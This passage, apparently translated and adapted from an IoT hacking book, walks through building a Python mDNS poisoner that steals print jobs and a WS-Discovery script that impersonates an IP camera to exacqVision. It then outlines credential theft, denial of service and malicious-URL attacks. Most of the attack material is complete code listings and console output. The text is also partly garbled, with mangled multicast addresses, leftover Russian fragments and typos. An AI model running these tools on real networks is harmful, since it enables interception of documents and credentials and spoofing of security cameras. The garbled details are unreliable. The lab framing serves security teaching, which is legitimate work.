the PTR record shows that there is _ipps._tcp.local with test service;
from the SRV record we know that this service test._ipps._tcp.local is hosted on ubuntu.local on TCP port 8000;
from record A it is known that ubuntu.local is allowed 192.168.10.219;
from the TXT record it is known that the URL for publishing print jobs is https://ubuntu.8000/ipp/print.
The macOS client then initiates an HTTPS session with the ipp server on port 8000 and downloads the document for printing:
[Client 1] Accepted connection from "192.168.10.199". [Client 1] Starting HTTPS session. [Client 1E] Connection now encrypted. [Client 1E] POST /ipp/print [Client 1E] Continue [Client 1E] Get-Printer-Attributes successful-ok [Client 1E] OK [Client 1E] POST /ipp/print [Client 1E] Continue [Client 1E] Validate-Job successful-ok [Client 1E] OK [Client 1E] POST /ipp/print [Client 1E] Continue [Client 1E] Create-Job successful-ok [Client 1E] OK
You should see this data from ippserver.
The mDNS poisoner we’ll write in Python listens on mDNS multicast on UDP port 5353 until it finds a client trying to connect to the printer, and then sends responses to it. Fig. Figure 6.12 shows the steps involved.
First, the attacker listens for mDNS multicast traffic on UDP port 5353. When the macOS client re-detects the network printer test and sends an mDNS query, the attacker keeps sending poisonous responses. If the attacker wins the race against the legitimate printer, he becomes a “man in the middle”, allowing traffic from the client to pass through. The client sends the attacker a document, which the attacker can then forward to the real printer to avoid detection. If the attacker does not send the document to the printer, the user may become suspicious when it does not print.
We’ll start by creating a framework file (Listing 6.2) and then implement a simple network server functionality to listen on an mDNS multicast address. Please note that the script is written in Python 3.
#!/usr/bin/env python import time, os, sys, struct, socket from socketserver import UDPServer, ThreadingMixIn from socketserver import BaseRequestHandler from threading import Thread from dnslib import * MADDR = ('220.127.116.11', 5353) class UDP_server(ThreadingMixIn, UDPServer): allow_reuse_address = True def server_bind(self): self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) mreq = struct.pack("=4sl", socket.inet_aton(MADDR), socket.INADDR_ANY) self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, mreq) UDPServer.server_bind(self) def MDNS_poisoner(host, port, handler): try: server = UDP_server((host, port), handler) server.serve_forever() except: print("Error starting server on UDP port " + str(port)) class MDNS(BaseRequestHandler): def handle(self): target_service = '' data, soc = self.request soc.sendto(d.pack(), MADDR) print('Poisoned answer sent to %s for name %s' % (self.client_address, target_ service)) def main(): try: server_thread = Thread(target=MDNS_poisoner, args=('', 5353, MDNS,)) server_thread.setDaemon(True) server_thread.start() print("Listening for mDNS multicast traffic") while True: time.sleep(0.1) except KeyboardInterrupt: sys.exit("\rExiting...") if __name__ == '__main__': main()
Let’s start by importing the necessary Python modules. The socket infrastructure simplifies the task of writing network servers. To parse and generate mDNS packets, we import dnslib, a simple library for encoding and decoding wire-format DNS packets. Then we define a global variable MADDR that contains the mDNS multicast address and default port (5353).
We create a UDP_server using the ThreadingMixIn class, which implements parallelism using threads. The server constructor will call the server_bind function to bind the socket to the desired address. We include allow_reuse_address so that the associated IP address can be reused and the socket option SO_REUSEADDR which allows the socket to force a connection to that port when the application is restarted. Then we have to join the multicast group (18.104.22.168) with IP_ADD_MEMBERSHIP.
The MDNS_poisoner function creates an instance of UDP_server and calls serve_forever on it to process requests until it explicitly terminates. The MDNS class processes all incoming requests, parses them, and sends responses. Since this class is the intellectual basis of the poisoner, we will study it in more detail later. You should replace this block of code (Listing 6.3) with the full MDNS class from Listing 6.2. The main function creates the main thread for the mDNS server. This thread automatically starts new threads for each request that will be handled by the MDNS.handle function.
Since setDaemon(True) mode is specified, the server will terminate when the main thread terminates, and you can terminate it by pressing Ctrl+C, which will throw a KeyboardInterrupt exception. Once the threads are started, the main program will enter an infinite loop and the threads will handle everything else.
Now that we’ve created a skeleton file, let’s describe the methodology for creating an MDNS class that implements the mDNS poisoner.
Take network traffic to determine which packets need to be replayed and save the pcap file for later use.
Export raw packet bytes from Wireshark.
Find libraries that implement existing functions like dnslib to handle DNS packets so you don’t have to reinvent the wheel.
When you need to analyze incoming packets, as in the case of an mDNS query, first use previously exported packets from Wireshark to initialize the tool instead of getting new ones from the network.
Start sending packets over the network and then compare them to the first traffic dump.
Customize and improve the tool by cleaning and commenting the code and adding real-time customizations using command-line arguments.
Let’s see what our most important class, MDNS (Listing 6.3), does. Replace the MDNS block in Listing 6.2 with the following code:
Listing 6.3. The final version of the MDNS class for our poisoner
class MDNS(BaseRequestHandler): def handle(self): target_service = '' data, soc = self.request d = DNSRecord.parse(data) # базовая проверка – имеет ли пакет mDNS хотя бы один запрос? if d.header.q < 1: return # мы полагаем, что первый запрос содержит имя службы, которую мы будем подменять target_service = d.questions._qname # теперь создаем ответ mDNS, который содержит имя службы и наш IP-адрес d = DNSRecord(DNSHeader(qr=1, id=0, bitmap=33792)) d.add_answer(RR(target_service, QTYPE.SRV, ttl=120, rclass=32769, rdata=SRV(priority=0, target='kali.local', weight=0, port=8000))) d.add_answer(RR('kali.local', QTYPE.A, ttl=120, rclass=32769, rdata=A("192.168.10.10"))) d.add_answer(RR('test._ipps._tcp.local', QTYPE.TXT, ttl=4500, rclass=32769, rdata=TXT(["rp=ipp/print", "ty=Test Printer", "adminurl=https://kali:8000/ipp/print", "pdl=application/pdf,image/jpeg,image/pwg-raster", "product=(Printer)", "Color=F", "Duplex=F", "usb_MFG=Test", "usb_MDL=Printer", "UUID=0544e1d1-bba0-3cdf-5ebf-1bd9f600e0fe", "TLS=1.2", "txtvers=1", "qtotal=1"]))) soc.sendto(d.pack(), MADDR) print('Poisoned answer sent to %s for name %s' % (self.client_address, target_service))
We use the Python sockets framework to implement the server. The MDNS class must subclass the framework’s BaseRequestHandler class and override its handle() method to handle incoming requests. For UDP services, self.request returns a string and a pair of sockets that we store locally. A string contains data coming from the network, and a pair of sockets contains the IP address and port belonging to the sender of this data.
We then parse the input with dnslib, converting it to a DNSRecord class, which we can then use to extract the domain name from the Question section’s QNAME. The Question section is the part of the mDNS packet containing the queries (See example in Fig. 6.7). Note that to install dnslib you can run the following commands:
# git clone https://github.com/paulc/dnslib # cd dnslib # python setup.py install
We then need to create our mDNS response containing the three DNS records we need (SRV, A and TXT). In the Answers section, we add an SRV record that associates target_service with our hostname (kali.local) and port 8000. We add an A record that allows the hostname to be an IP address.
Then we add a TXT record that contains, among other things, the URL of the fake printer to be contacted at https://kali:8000/ipp/print. Finally, we send the response to the victim via our UDP socket. As an exercise, we suggest configuring the hard-coded values contained in the mDNS response phase. You can also make the poisoner more flexible so that it poisons only the specified target IP address and service name.
Now let’s check out the mDNS poisoner in action. This console output is produced by the attacker’s working poisoner:
root@kali:~/mdns/poisoner# python3 poison.py Listening for mDNS multicast traffic Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local. Poisoned answer sent to 192.168.10.219 for name test._ipps._tcp.local. Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local.
We attempt to automatically obtain print jobs from the victim client by tricking them into connecting to us instead of the real printer by sending what appears to be legitimate mDNS traffic. Our mDNS poisoner replies to the victim’s client at 192.168.10.199, informing them that the attacker’s name is _universal._sub._ipp._tcp.local. The mDNS poisoner also tells the legitimate print server (192.168.10.219) that the attacker stores the name test._ipps._tcp.local.
Remember that this is the name advertised on the network by the print server. Our poisoner, being only a simplified demo of the scenario at this point, does not distinguish the target; On the contrary, he indiscriminately poisons every request he sees.
This output is produced by ippserver, which impersonates a print server:
root@kali:~/tmp# ls root@kali:~/tmp# ippserver test -d . -k -v Listening on port 8000. Ignore Avahi state 2. printer-more-info=https://kali:8000/ printer-supply-info-uri=https://kali:8000/supplies printer-uri="ipp://kali:8000/ipp/print" Использование сети с нулевой конфигурацией 181 Accepted connection from 192.168.10.199 192.168.10.199 Starting HTTPS session. 192.168.10.199 Connection now encrypted. …
When the mDNS poisoner is launched, the client (192.168.10.199) will connect to the attacker’s server instead of the legitimate printer (192.168.10.219) to send a print job.
However, this attack does not automatically forward the print job or document to the actual printer. Note that in this scenario, the Bonjour mDNS/DNS-SD implementation seems to request the _universal name every time the user tries to type something from the MacBook, and that request should also be sent. The reason is that the MacBook was connected to our lab via Wi-Fi and macOS was trying to use AirPrint, the macOS feature for printing over Wi-Fi. The name _universal is related to AirPrint.
Web Services Dynamic Discovery (WS-Discovery) is a broadcast discovery protocol that places services on a local network. Have you ever wondered what would happen if you mimic the behavior of an IP camera on a network and attack the server that controls it? Corporate networks that host a large number of cameras often rely on video management servers, software that allows system administrators and operators to remotely manage devices and view the video stream through a centralized interface.
Most IP cameras today support ONVIF, an open industry standard designed to enable physical IP-based security devices, including surveillance cameras, video recorders, and related software, to communicate with each other. It is an open protocol that video surveillance software developers can use to communicate with ONVIF-compliant devices, regardless of their manufacturer. One of its features is automatic device detection, which is usually done using WS-Discovery. In this section, we’ll explain how WS-Discovery works, create a Python test script to exploit internal vulnerabilities in the protocol, configure a fake IP camera on a local network, and discuss other attack vectors.
Without going into details, let’s briefly describe how WS-Discovery works. In WS-Discovery terminology, a target service is an endpoint available for discovery, while a client is an endpoint that searches for target services. Both use SOAP requests over UDP to the multicast address 22.214.171.124 with the UDP destination port 3702. Figure 6.13 shows the message exchange between the two.
A target service sends a broadcast Hello message when it joins the network. A target service can receive a Probe broadcast response, a message sent at an arbitrary point in time by a client looking for a target service of a particular type.
The type is the identifier of the endpoint. For example, an IP camera can be of type NetworkVideoTransmitter. A client can also send a unicast Probe Match request if the target service matches the Probe request (other matching target services can also send unicast Probe Match requests).
Likewise, a target service can at any time receive a Resolve broadcast message sent by a client looking for a target by name and send a Resolve Match unicast message if it is the target of the Resolve query. Eventually, when the target service leaves the network, it attempts to broadcast a Bye message. The client mirrors the message of the target service.
It listens for Hello broadcasts, watches as Probe polls target services or Resolve finds a specific target service, and listens for Bye broadcasts. We will mainly focus on the second and third steps of the attack we will perform in this section.
First, we will set up a test environment with IP camera control software on a virtual machine, and then we will use a real network camera to capture packets and analyze their interaction with the software through WS-Discovery in practice. Finally, let’s create a Python script that will simulate a camera in order to attack the camera control software.
We will demonstrate this attack using an earlier version (version 7.8) of exacqVision, a popular IP camera management tool. You can also choose a similar free tool like Camlytics, iSpy or any camera management software that uses WS-Discovery. We will host the software on a virtual machine with an IP address of 192.168.10.240. The real network camera we will simulate has an IP address of 192.168.10.245. The version of exacqVision we use can be found at https://www.exacq.com/reseller/legacy/?file=Legacy/index.html/.
Install the exacqVision server and client on a VMware-hosted Windows 7 system, and then run the exacqVision client. It must connect locally to the corresponding server; The client acts as a user interface for the server, which was supposed to run on the system as a background service. Then we can proceed to detect network cameras. On the configuration page, click exacqVision Server > Configure System > Add IP Camera (exacqVision Server > Configure System > Add IP Cameras), then click the Rescan Network button – Fig. 6.14.
This will cause a probe message (message 2 in Figure 6.14) to be sent to the broadcast address 126.96.36.199 over UDP port 3702.
Analysis of WS-Discovery requests and responses in Wireshark
How can criminals impersonate a web cam? It is fairly easy to understand how typical WS-Discovery queries and responses work by experimenting with a standard camera such as the Amcrest as shown in this section. In Wireshark, start by enabling the XML over UDP dissector by clicking “Analyze” in the menu bar. Then click Enabled Protocols (Protocols are added). We search for udp and set the XML over UDP flag (see fig. 6.15).
Next, fire up Wireshark on the virtual machine running the exacqVision server and capture the Probe Match response (message 3 of 9) from the Amcrest camera in response to the WS-Discovery Probe query. You can then right-click the packet and select Monitor >> UDP Stream. We should see the entire SOAP/XML request. We will need this query value in the next section, when we develop the script; We will insert it into the orig_buf variable in Listing 6.4.
Fig. Figure 6.16 shows the output of the WS-Discovery probe in Wireshark. The exacqVision client displays this information every time it scans the network for new IP cameras.
The most important part of this network scan is the UUID MessageID (in the box) because it must be included in the Probe Match response. (This can be read in the official WS-Discovery specification at /s:Envelope/s:Header/ a:RelatesTo MUST be the value of the [message-id][WS-Addressing] property of the probe.) Figure 6.17 shows the Probe Match response from the real Amcrest IP cameras.
The RelatesTo field contains the same UUID as the UUID in the MessageID as part of the XML payload sent by the exacqVision client.
Now we will write a Python script that simulates a real camera on the network in order to attack the exacqVision software and spoof the real camera. We will use the Amcrest camera’s Probe Match response as the basis for creating the attack payload. We need to create a listener on the network that receives the WS-Discovery probe from exacqVision, extracts the MessageID from it, and uses it to generate our attack payload as a WS-Discovery Probe Match response.
The first part of our code imports the necessary Python modules and defines a variable that contains the original Probe Match response from the Amcrest camera, as shown in Listing 6.4.
Code listing 6.4. Import the module and determine the original WS-Discovery probe match response from the Amcrest camera
#!/usr/bin/env python import socket import struct import sys import uuid buf = "" orig_buf = '''<?xml version="1.0" encoding="utf-8" standalone="yes" ?><s:Envelope xmlns:sc="http://www.w3.org/2003/05/soap-encoding" xmlns:s="http://www.w3.org/2003/05/ soapenvelope" xmlns:dn="http://www.onvif.org/ver10/network/wsdl" xmlns:tds="http://www.onvif.org/ ver10/device/wsdl" xmlns:d="http://schemas.xmlsoap.org/ws/2005/04/discovery" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">\ <s:Header><a:MessageID>urn:uuid:_MESSAGEID_</a:MessageID><a:To>urn:schemas-xmlsoaporg: ws:2005:04:discovery</a:To><a:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/ ProbeMatches\ </a:Action><a:RelatesTo>urn:uuid:_PROBEUUID_</a:RelatesTo></s:Header><s:Body><d:ProbeMatch es><d:ProbeMatch><a:EndpointReference><a:Address>uuid:1b77a2db-c51d-44b8-bf2d-418760240ab6</a:Address></a:EndpointReference><d:Types>dn:NetworkVideoTransmitter tds:Device</d:Types><d:Scopes>onvif://www.onvif.org/location/country/china \ onvif://www.onvif.org/name/Amcrest \ onvif://www.onvif.org/hardware/IP2M-841B \ onvif://www.onvif.org/Profile/Streaming \ onvif://www.onvif.org/type/Network_Video_Transmitter \ onvif://www.onvif.org/extension/unique_identifier</d:Scopes>\ <d:XAddrs>http://192.168.10.10/onvif/device_service</d:XAddrs><d:MetadataVersion>1</ d:MetadataVersion></d:ProbeMatch></d:ProbeMatches></s:Body></s:Envelope>'''
We start with the standard Python token (#!) to ensure that the script can be run from the command line without specifying the full path of the Python interpreter, as well as the necessary module imports. Then we create a variable orig_buf containing the original WS-Discovery response from Amcrest in the form of a string.
Recall from the previous section that we inserted the XML query into a variable after capturing the message in Wireshark. We create a _MESSAGE-ID_ placeholder and replace it with a new unique UUID that we will generate every time we receive a packet.
Similarly, _PROBEUUID_ will contain the extracted UUID from the WS-Discovery probe at runtime. We need to remove it every time we receive a new WS-Discovery probe from exacqVision. The name part of the XML payload is a good place to slip malformed input because we’ve seen that the Amcrest name appears in the client’s camera list and thus must first be parsed by the software internally. The next piece of code in Listing 6.5 configures network sockets. Place it right after the code in Listing 6.3.
Listing 6.5. Configuring network sockets
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('188.8.131.52', 3702)) mreq = struct.pack("=4sl", socket.inet_aton("184.108.40.206"), socket.INADDR_ANY) sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
We create a UDP socket and set the SO_REUSEADDR socket option, which allows the socket to bind to the same port every time we restart the script. Then we bind to the broadcast address 220.127.116.11 on port 3702, because this is the standard multicast address and standard port used in WS-Discovery. We also need to tell the kernel that we are interested in receiving network traffic directed to 18.104.22.168 by joining this multicast group address. Listing 6.6 shows the final part of our code, which includes the main loop.
Code listing 6.6. The main loop that receives the WS-Discovery Probe message gets the MessageID and sends the attack payload
while True: print("Waiting for WS-Discovery message...\n", file=sys.stderr) data, addr = sock.recvfrom(1024) if data: server_addr = addr server_port = addr print('Received from: %s:%s' % (server_addr, server_port), file=sys.stderr) print('%s' % (data), file=sys.stderr) print("\n", file=sys.stderr) # если это не WS-Discovery Probe, то распознавание не выполняем if "Probe" not in data: continue # сначала находим тег MessageID m = data.find("MessageID") # начинаем искать "uuid" начиная с текущего места в буфере u = data[m:-1].find("uuid") num = m + u + len("uuid:") # теперь ищем закрывающий тег end = data[num:-1].find("<") # извлекаем uuid из MessageID orig_uuid = data[num:num + end] print('Extracted MessageID UUID %s' % (orig_uuid), file=sys.stderr) # заменяем _PROBEUUID_ в буфере извлеченным значением buf = orig_buf buf = buf.replace("_PROBEUUID_", orig_uuid) # создаем новый случайный UUID для каждого пакета buf = buf.replace("_MESSAGEID_", str(uuid.uuid4())) print("Sending WS reply to %s:%s\n" % (server_addr, server_port), file=sys.stderr) udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_socket.sendto(buf, (server_addr, server_port))
The script enters an infinite loop where it waits for a WS-Discovery Probe message until we stop it (Ctrl+C exits the loop on Linux). When receiving a packet containing data, we get the sender’s IP address and port and store them in the server_addr and server_port variables, respectively. Then we check whether the line “Probe” is included in the received package; if so, we assume this packet is a WS-Discovery probe.
Otherwise, we do nothing more with the package. We then attempt to find and extract the UUID from the MessageID XML tag without using any part of the XML library (as this would create unnecessary overhead and complicate such a simple operation), relying only on basic string manipulation. We replace the _PROBEUUID_ placeholder from Listing 6.3 with the extracted UUID and create a new random UUID to replace the _MESSAGE_ID placeholder. Then we send the UDP packet back to the sender. Here is an example of running a script for exacqVision software:
root@kali:~/zeroconf/ws-discovery# python3 exacq-complete.py Waiting for WS-Discovery message... Received from: 192.168.10.169:54374 <?xml version="1.1" encoding="utf-8"?><Envelope xmlns:dn="http://www.onvif.org/ver10/network/ wsdl" xmlns="http://www.w3.org/2003/05/soap-envelope"><Header><wsa:MessageID xmlns:wsa="http:// schemas.xmlsoap.org/ws/2004/08/addressing">urn:uuid:2ed72754-2c2f-4d10-8f50-79d67140d268</ wsa:MessageID><wsa:To xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/ addressing">urn:schemasxmlsoaporg:ws:2005:04:discovery</wsa:To><wsa:Action xmlns:wsa="http://schemas.xmlsoap.org/ ws/2004/08/addressing">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action></ Header><Body><Probe xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance xmlns:xsd=http://www. w3.org/2001/XMLSchema xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery"><Types>dn:Network VideoTransmitter</Types><Scopes /></Probe></Body></Envelope> Extracted MessageID UUID 2ed72754-2c2f-4d10-8f50-79d67140d268 Sending WS reply to 192.168.10.169:54374 Waiting for WS-Discovery message...
Note that every time the script is run, the MessageID UUID will be updated. As an exercise, print out a set of payloads and verify that the same UUID appears in the RerelesTo field inside and inside. In the exacqClient interface, our fake camera is displayed in the device list, as shown in Fig. 6.18.
In the next section, we’ll take a look at what you can do when you log in to the web as a camera.
What types of attacks can be made by abusing this simple detection mechanism? First, video management software can be attacked through this vector, as XML parsers are notorious for bugs that lead to memory corruption vulnerabilities. Even if the server doesn’t have another listening port open, you can still pass the garbled input to it via WS-Discovery.
The second attack will consist of two steps. First, cause a denial of service on the real IP camera so that it loses its connection to the video server. Second, send information to WS-Discovery that will make your fake camera look like the real one, turned off. In this case, you can fool the server operator by adding a fake camera to the list of cameras managed by the server. After that, you can send an artificial video signal to the server input.
In fact, in some cases it is possible to perform a pre-attack without even causing a denial of service in the actual IP camera. All you need to do is send the WS-Discovery Probe Match response to the video server before the real camera sends it. In this case, provided the information is identical or relatively similar (replicating the Name, Type, and Model fields is sufficient in most cases), the real camera won’t even show up in the management software if you’ve successfully replaced it.
Third, if the video software uses insecure authentication for the IP camera (such as basic HTTP authentication), credentials can be obtained. The operator who adds your fake camera will enter the same username and password as the real one. In this case, you can intercept credentials when the server tries to authenticate the user based on what it thinks is real. Since password reuse is a common problem, it is likely that other cameras on the network are using the same password, especially if they are of the same model or manufacturer.
A fourth attack could be to include malicious URLs in the WS-Discovery Match Probe fields. In some cases, a match probe is shown to the user and the operator may be tempted to click on the link.
In addition, the WS-Discovery standard includes provisions on “Proxy Discovery”. They are essentially web servers that can be used to manage WS-Discovery remotely, even over the Internet. This means that the attacks described here can occur without placing the attacker on the same local network.
In this section, we analyzed UPnP, WS-Discovery, and mDNS and DNS-SD, common zero-configuration network protocols in IoT ecosystems. We showed how to attack an unprotected UPnP server on OpenWrt to break the firewall, and then discussed how to use UPnP over WAN interfaces. We then analyzed how mDNS and DNS-SD work and how they can be abused, and created an mDNS poisoner in Python. We studied WS-Discovery and how to use it to carry out various attacks on IP camera management servers. Almost all of these attacks are based on the default trust that the developers of these protocols place on LAN participants, prioritizing automation over security.
We used materials from the book “The Definitive Guide to Attacking the Internet of Things” written by Photios Chantsis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentsoglu and Beau Woods.